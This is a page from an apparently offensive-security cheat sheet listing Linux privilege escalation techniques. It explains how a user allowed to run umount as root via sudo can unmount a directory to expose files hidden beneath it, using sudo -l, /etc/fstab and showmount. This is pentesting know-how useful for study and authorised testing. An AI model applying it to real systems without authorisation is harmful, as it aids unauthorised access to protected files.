Linux Privilege Escalation
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  • Buffer Overflow Privilege Escalation
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  • Doas Privilege Escalation
  • Ghidra Debug Mode RCE
  • Gnuplot Privilege Escalation
  • LXC/LXD (Linux Container/Daemon) Privilege Escalation
  • Linux Privilege Escalation
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  • Shared Library Hijacking
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  • Sudo Exiftool Privilege Escalation
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  • Sudo OpenVPN Privilege Escalation
  • Sudo Path Traversal Privilege Escalation
  • Sudo Privilege Escalation
  • Sudo Privilege Escalation by Overriding Shared Library
  • Sudo Reboot Privilege Escalation
  • Sudo Screen Privilege Escalation
  • Sudo Service Privilege Escalation
  • Sudo Shutdown, Poweroff Privilege Escalation
  • Sudo Systemctl Privilege Escalation
  • Sudo Tee Privilege Escalation
  • Sudo Umount Privilege Escalation
  • Sudo Vim Privilege Escalation
  • Sudo Wall Privilege Escalation
  • Sudo Wget Privilege Escalation
  • Sudoedit Privilege Escalation
  • Tar Wildcard Injection PrivEsc
  • Update-Motd Privilege Escalation
  • irb (Interactive Ruby Shell) Privilege Escalation
  • Linux Backdoors
  • Linux Pivoting
  • Post eploitation
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Sudo Umount Privilege Escalation

Sudo umount is vulnerable to privilege escalation.

Investigation

sudo -l

(root) NOPASSWD: /bin/umount
Copied!

If we can execute umount command as root, we can escalate to privilege.

Exploitation

In target machine, check what directory is mounted.

cat /etc/fstab
showmount -e localhost
Copied!

Assume the /opt/example folder is mounted. If we unmount this folder, original files, that existed before the directory is mounted, may appear.

sudo /bin/umount /opt/example
ls -al /opt/example
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Last updated 1 year ago

  • Investigation
  • Exploitation
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